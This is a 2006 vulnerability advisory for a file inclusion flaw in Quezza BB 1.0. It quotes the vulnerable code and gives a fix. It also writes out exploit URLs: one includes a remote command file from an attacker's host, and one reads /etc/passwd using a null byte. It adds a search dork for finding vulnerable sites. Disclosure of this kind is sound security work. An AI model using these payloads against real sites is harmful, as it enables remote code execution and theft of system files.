QuezzaBB.txt

`--Security Report--  
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.  
---  
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI  
---  
Date: 17/05/06 05:37 AM  
---  
Contacts:{  
ICQ: 10072  
MSN/Email: [email protected]  
Web: http://www.nukedx.com  
}  
---  
Vendor: Quezza (http://www.quezza.com/)  
Version: 1.0 and prior versions must be affected.  
About: Via this methods remote attacker can include arbitrary files to   
Quezza.quezza_root_path variable in class_template.php  
did not sanitized before using it.You can find vulnerable code in   
class_template.php at line 21  
-Source in class_template.php-  
21: include($quezza_root_path . 'includes/template.' . $phpEx);  
-End of source-  
Fixing this vulnerability so easy turn off register_globals and add   
this code to source before line 21  
if ( !defined('IN_QUEZZA') )  
{  
die('Hacking attempt');  
}  
Level: Highly Critical  
---  
How&Example:  
Succesful exploitation needs allow_url_fopen set to 1 and register_globals on  
GET ->   
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=[FILE]  
EXAMPLE ->   
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?  
If magic_quotes_gpc off remote attacker can include local files too  
EXAMPLE ->   
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00  
---  
Timeline:  
* 17/05/2006: Vulnerability found.  
* 17/05/2006: Contacted with vendor and waiting reply.  
---  
Exploit:  
Click here and get exploit for this advisory  
---  
Dorks: "Powered by Quezza"  
  
`